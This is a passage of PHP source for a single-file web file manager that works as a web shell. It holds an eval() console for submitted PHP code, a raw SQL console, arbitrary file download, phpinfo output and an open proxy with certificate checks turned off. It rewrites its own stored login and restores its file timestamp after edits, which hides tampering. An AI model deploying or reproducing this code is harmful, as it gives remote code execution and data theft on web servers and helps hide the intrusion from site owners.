	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
